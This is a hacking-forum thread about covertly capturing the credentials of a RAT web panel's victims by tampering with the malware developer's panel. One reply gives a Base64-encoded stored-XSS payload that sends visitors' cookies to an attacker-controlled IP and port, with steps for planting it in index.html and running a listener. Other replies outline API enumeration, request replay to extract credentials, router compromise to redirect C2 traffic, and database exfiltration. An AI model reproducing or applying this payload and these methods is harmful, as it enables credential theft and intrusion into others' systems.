

Forum:[Hack Forums](#)

Thread: [Help with RAT Web Panel Injection](#)

stargunhacker - February 5, 2026, 9:39 am

I need help with performing MITM JS code attack on a targets RAT web panel.
Trying to intercept the zombies credentials.
What can I do?

DramaKing - February 5, 2026, 10:11 am

I'm really confused. Intercepting the credentials (found in the binary) does nothing for you, except to fingerprint the server and analyze traffic in a sandbox.

All this says to me is XSS. You need a way to get a Reflected XSS payload to the owner once you find a vulnerability.

stargunhacker - February 5, 2026, 10:34 am

(Feb 5, 2026 11:11 AM)DramaKing Wrote: [\[CITE\]](#) I'm really confused. Intercepting the credentials (found in the binary) does nothing for you, except to fingerprint the server and analyze traffic in a sandbox.

All this says to me is XSS. You need a way to get a Reflected XSS payload to the owner once you find a vulnerability.

Simply put, I want to perform MITM JS injection on the current credential POST request which is currently done using JS in the code and I don't want the target that is the malware dev to notice that I'm hijacking the credentials when he sees the code. So to him everything looks clean but I'm sniffing all zombies credentials. Doing this to quite a few dev though. Do you know how this is done? Are you an A game?

DramaKing - February 5, 2026, 10:54 am

(Feb 5, 2026 11:34 AM)stargunhacker Wrote: [\[CITE\]](#) Simply put, I want to perform MITM JS injection on the current credential POST request which is currently done using JS in the code and I don't want the target that is the malware dev to notice that I'm hijacking the credentials when he sees the code. So to him everything looks clean but I'm sniffing all zombies credentials. Doing this to quite a few dev though. Do you know how this is done? Are you an A game?

If what you were describing was an actual attack, I would know it. This is not MiTM. It's something like injection. A POST request would have the token or whatever in it. If you intercepted the request and injected JS, nothing would happen, except maybe an error for a malformed POST request. MitM JS injection must be done on GET responses.

stargunhacker - February 5, 2026, 11:21 am

(Feb 5, 2026 11:54 AM)DramaKing Wrote: [\[CITE\]](#) If what you were describing was an actual attack, I would know it. This is not MiTM. It's something like injection. A POST request would have the token or whatever in it. If you intercepted the request and injected JS, nothing would happen, except maybe an error for a malformed POST request. MitM JS injection must be done on GET responses.
Interesting. You should simply say you don't know how to do it. How proficient is your JS? beginner, skid, or advance?

DramaKing - February 5, 2026, 11:59 am

(Feb 5, 2026 12:21 PM)stargunhacker Wrote: [\[CITE\]](#) Interesting. You should simply say you don't

know how to do it. How proficient is your JS? beginner, skid, or advance?

My knowledge of JS extends to using it and what it is used for. It sounds like you are trying to gain RCE on a server by having it run JS. This is impossible. I don't need to know the language to know that.

Or maybe you're trying to send a modified POST request to the server that results in stored XSS on the web panel. I would have no words if that was the case. It wouldn't get you the implant token, though. You just have to look at the packets for that.

stargunhacker - February 5, 2026, 12:14 pm

(Feb 5, 2026 12:59 PM)DramaKing Wrote: [\[CITE\]](#) My knowledge of JS extends to using it and what it is used for. It sounds like you are trying to gain RCE on a server by having it run JS. This is impossible. I don't need to know the language to know that.

Or maybe you're trying to send a modified POST request to the server that results in stored XSS on the web panel. I would have no words if that was the case. It wouldn't get you the implant token, though. You just have to look at the packets for that.

I'm not trying to do any of that. I just want to perform MITM attack on those credentials using JS during the POST request. More like intercept the data before it is posted. Please don't tell me it's not possible, I had a 15years old brilliant kid do it sometime ago in a CTF contest.

DramaKing - February 5, 2026, 1:40 pm

(Feb 5, 2026 01:14 PM)stargunhacker Wrote: [\[CITE\]](#) I'm not trying to do any of that. I just want to perform MITM attack on those credentials using JS during the POST request. More like intercept the data before it is posted. Please don't tell me it's not possible, I had a 15years old brilliant kid do it sometime ago in a CTF contest.

Again, let's be clear. You MitM clients and servers. You don't MitM credentials. You don't use JS to perform MitM, although you can inject JS on responses sent to clients. If you had someone successfully do WTH this is, then we're just not communicating.

Maybe you're target RAT or botnet is an infostealer, and you're trying to intercept credentials sent from victims without doing any MitM but getting the same result by sending a JS script to a web panel that you don't have access to. Nothing in my studies of web application pentesting has taught me anything like this.

Perhaps you fundamentally understood what the other hacker did. A CTF is a controlled, local environment, after all.

stargunhacker - February 5, 2026, 2:49 pm

(Feb 5, 2026 02:40 PM)DramaKing Wrote: [\[CITE\]](#) Again, let's be clear. You MitM clients and servers. You don't MitM credentials. You don't use JS to perform MitM, although you can inject JS on responses sent to clients. If you had someone successfully do WTH this is, then we're just not communicating.

Maybe you're target RAT or botnet is an infostealer, and you're trying to intercept credentials sent from victims without doing any MitM but getting the same result by sending a JS script to a web panel that you don't have access to. Nothing in my studies of web application pentesting has taught me anything like this.

Perhaps you fundamentally understood what the other hacker did. A CTF is a controlled, local environment, after all.

My request is as clear as I have said it. Simple English man-in-the-middle attack on the credentials, there is nothing wrong with my statement at the end of the day it's all happening within the RAT web

panel in client-side just before the data is POST'ed to server-side. MITM attack is simply about intercepting and controlling data transfer and it can happen anywhere at all. I basically want to be in the middle of this credential POST transfer using JS.

Look here don't make assumptions for me I know what I want. I have access to the targets PC and I have access to the source code. I just want to intercept the data before it is submitted (which is also MITM attack) without modifying the dev's POST credential JS code. When he looks at his code, nothing changed but the credentials are constantly sniffed. It takes real practice, good JS knowledge, and intuition to figure this out not only theoretical study. So can you do this or not... Stop going back and forth.

Stop trying to sound like I don't know what I'm saying or say it's not possible because it is 100% possible.

DramaKing - February 5, 2026, 3:36 pm

(Feb 5, 2026 03:49 PM)stargunhacker Wrote: [\[CITE\]](#) My request is as clear as I have said it. Simple English man-in-the-middle attack on the credentials, there is nothing wrong with my statement at the end of the day it's all happening within the RAT web panel in client-side just before the data is POST'ed to server-side. MITM attack is simply about intercepting and controlling data transfer and it can happen anywhere at all. I basically want to be in the middle of this credential POST transfer using JS.

Look here don't make assumptions for me I know what I want. I have access to the targets PC and I have access to the source code. I just want to intercept the data before it is submitted (which is also MITM attack) without modifying the dev's POST credential JS code. When he looks at his code, nothing changed but the credentials are constantly sniffed. It takes real practice, good JS knowledge, and intuition to figure this out not only theoretical study. So can you do this or not... Stop going back and forth.

Stop trying to sound like I don't know what I'm saying or say it's not possible because it is 100% possible.

Okay, that cleared everything up. Thank you. This does have nothing to do with JavaScript to be clear. You will not "MitM" this person with JS without an XSS exploit. You need to install a protocol analyzer (packet sniffer) on his machine. Or you need to proxy his connection to the RAT through a server controlled by you. This is just the regular old MitM methods. Since the target would be hosting the RAT himself, the connection is very likely HTTP. Capture the POST request with the password, cookies, whatever. Done.

Hopefully, the RAT isn't hosted on his local machine. Then you need a reverse proxy or port forwarding method and have a mess.

stargunhacker - February 5, 2026, 11:11 pm

(Feb 5, 2026 04:36 PM)DramaKing Wrote: [\[CITE\]](#) Okay, that cleared everything up. Thank you. This does have nothing to do with JavaScript to be clear. You will not "MitM" this person with JS without an XSS exploit. You need to install a protocol analyzer (packet sniffer) on his machine. Or you need to proxy his connection to the RAT through a server controlled by you. This is just the regular old MitM methods. Since the target would be hosting the RAT himself, the connection is very likely HTTP. Capture the POST request with the password, cookies, whatever. Done.

Hopefully, the RAT isn't hosted on his local machine. Then you need a reverse proxy or port forwarding method and have a mess.

Lmfao! To clear your confusion, this is about the RAT web panel only. Whether he uses to RAT for himself or sells it, the web panel will always go along with the package. The focus is on the RAT

web panel not the RAT itself. The RAT web panel will be hosted on a web server so what's the need to have a protocol analyzer on his machine? Clearly, you have zero knowledge of the subject matter. This has nothing to do with XSS I mean dude I have access to the source code already. I can inject code to it and do whatever I want to do with it. Since there is a part of the code where credentials form are subjected using POST request the best it to intercept his JS credentials form submission code so I can do whatever I want with the data, maybe manipulate the data or even send it to my own server. If I target the RAT itself there will be more disadvantages due to RATs volatile nature. This is something a brilliant JS hack can do and it's not rocket science. Obviously, this is above your skillset. Goodluck quack quack!

DramaKing - February 6, 2026, 6:32 am

No need to be insulting. I think I got it. You need stored XSS added to the source code. Since no one else is weighing in....

```
PHNjcmlwdCB0eXBIPeKAnHRleHQvamF2YXNjcmlwdOKAnT5kb2N1bWVudC5sb2NhdGlvbj3igJxo  
dHRwOi8vPEIQX0FERFJFU1M6UE9SVC8/Yz3igJwrZG9jdW1lbnQuY29va2lOzwvc2NyaXB0Pgo=
```

Decode the Base64 payload and add it to the index.html after adding your IP address and port number. Run a listener and wait for the delicious cookies (and a ton of crap that comes from exposing a server to the Internet). It doesn't intercept POST requests from users to the RAT server, but it does POST cookies from them to you.

Sorry for the runaround. I'm not stupid, just have trouble understanding other people.

@Voidlight@ is more of an expert, I think.

CL1B - February 6, 2026, 6:53 am

OP I'd suggest you check out DramaKing's other replies to threads, that would've saved you from wasting time.

Without being disrespectful, the guy is a fanatic, a skid. Most people on this forum are "aspiring" hackers.

You have to learn to ignore them.

With that being said; You didn't mention you tried anything other than mitm.. Did you try scouting the panel first? Most panels have terrible security and so do c2 operators.

Assuming you haven't;

Grab burp suite, try finding out how the panel's api works first, enumerate it, see if there are common mistakes such as no anti brute forcing measures etc.

Most likely you'll find something juicy. Common thing is the stubs they spread use simple tcp http, if the api box is misconfigured this will be recognizable and you can intercept command/responses. But since you're after the loot which is stored (hopefully) on the server you'd want to

1. Find out how the server handles that command or whatever they do to then parse the creds to the DB/server
2. Find a way to replay this with your payload to extract the creds

Try this stuff before anything, if the devs made mistakes here it's much easier than mitm you're describing.

Fingers crossed your creds are not hashed or encrypted in another form because that adds another

layer to your quest.

Welcome to HF

stargunhacker - February 6, 2026, 7:43 am

(Feb 6, 2026 07:32 AM)DramaKing Wrote: [\[CITE\]](#) No need to be insulting. I think I got it. You need stored XSS added to the source code. Since no one else is weighing in....

PHNjcmlwdCB0eXBIPeKAnHRleHQvamF2YXNjcmlwdOKAnT5kb2N1bWVudC5sb2NhdGlvb3J3igJxo
dHRwOi8vPEIQX0FERFJFU1M6UE9SVC8/Yz3igJwrZG9jdW1lbnQuY29va2lloZwvc2NyaXB0Pgo=

Decode the Base64 payload and add it to the index.html after adding your IP address and port number. Run a listener and wait for the delicious cookies (and a ton of crap that comes from exposing a server to the Internet). It doesn't intercept POST requests from users to the RAT server, but it does POST cookies from them to you.

Sorry for the runaround. I'm not stupid, just have trouble understanding other people.

[Voidlight](#) is more of an expert, I think.

Unfortunately JS cookie grabber code is not it. Maybe [Voidlight](#) can drop his solution.

(Feb 6, 2026 07:53 AM)MarlboroMan Wrote: [\[CITE\]](#) OP I'd suggest you check out DramaKing's other replies to threads, that would've saved you from wasting time.

Without being disrespectful, the guy is a fanatic, a skid. Most people on this forum are "aspiring" hackers.

You have to learn to ignore them.

With that being said; You didn't mention you tried anything other than mitm.. Did you try scouting the panel first? Most panels have terrible security and so do c2 operators.

Assuming you haven't;

Grab burp suite, try finding out how the panel's api works first, enumerate it, see if there are common mistakes such as no anti brute forcing measures etc.

Most likely you'll find something juicy. Common thing is the stubs they spread use simple tcp http, if the api box is misconfigured this will be recognizable and you can intercept command/responses. But since you're after the loot which is stored (hopefully) on the server you'd want to

1. Find out how the server handles that command or whatever they do to then parse the creds to the DB/server
2. Find a way to replay this with your payload to extract the creds

Try this stuff before anything, if the devs made mistakes here it's much easier than mitm you're describing.

Fingers crossed your creds are not hashed or encrypted in another form because that adds another layer to your quest.

Welcome to HF

You do have a point but I just wanted to see if anyone here knows the JS MITM method considering how relatively easy it is.

Voidlight - February 6, 2026, 8:17 am

First, the easiest win is if the C2 is running http, not https. Another win If it is on shared or sketchy hosting. If it's on some cheap VPS or a compromised server in a data center, and you're on the same provider or have a way to route traffic through that same network segment (sometimes possible via VPS hopping or exploiting cloud network configs), you might get a virtual MITM position. More likely, you go after the route itself. The most realistic remote method is compromising the C2's router or gateway. A shocking number of these servers are behind home routers or cheap dedicated boxes with default credentials, outdated firmware, or vulnerable web interfaces. You scan, find a way in, and once you own that router, you can silently redirect or mirror all traffic flowing to the C2 through a proxy you control. BGP hijacking or malicious IXP peering requires ISP-level access or significant resources, not really a bedroom operation. If the c2 is running https MITM attacks are very hard if you have not compromised the c2 server itself.

DramaKing - February 6, 2026, 8:37 am

MarlboroMan and Voidlight bring up excellent ideas, but here's one more: Do you have the credentials for the C2 server or can get them, given that you compromised the dev's computer? Get RDP or SSH access, hack the server, exfil the database, crack the creds.

CL1B - February 6, 2026, 9:47 am

(Feb 6, 2026 09:37 AM)DramaKing Wrote: [\[CITE\]](#) MarlboroMan and Voidlight bring up excellent ideas, but here's one more: Do you have the credentials for the C2 server or can get them, given that you compromised the dev's computer? Get RDP or SSH access, hack the server, exfil the database, crack the creds.

No man.

stargunhacker - February 15, 2026, 2:02 pm

(Feb 6, 2026 09:17 AM)Voidlight Wrote: [\[CITE\]](#) First, the easiest win is if the C2 is running http, not https. Another win If it is on shared or sketchy hosting. If it's on some cheap VPS or a compromised server in a data center, and you're on the same provider or have a way to route traffic through that same network segment (sometimes possible via VPS hopping or exploiting cloud network configs), you might get a virtual MITM position. More likely, you go after the route itself. The most realistic remote method is compromising the C2's router or gateway. A shocking number of these servers are behind home routers or cheap dedicated boxes with default credentials, outdated firmware, or vulnerable web interfaces. You scan, find a way in, and once you own that router, you can silently redirect or mirror all traffic flowing to the C2 through a proxy you control. BGP hijacking or malicious IXP peering requires ISP-level access or significant resources, not really a bedroom operation. If the c2 is running https MITM attacks are very hard if you have not compromised the c2 server itself.

Stop using ChatGPT, it's not good for you

Clearly no one had answers for me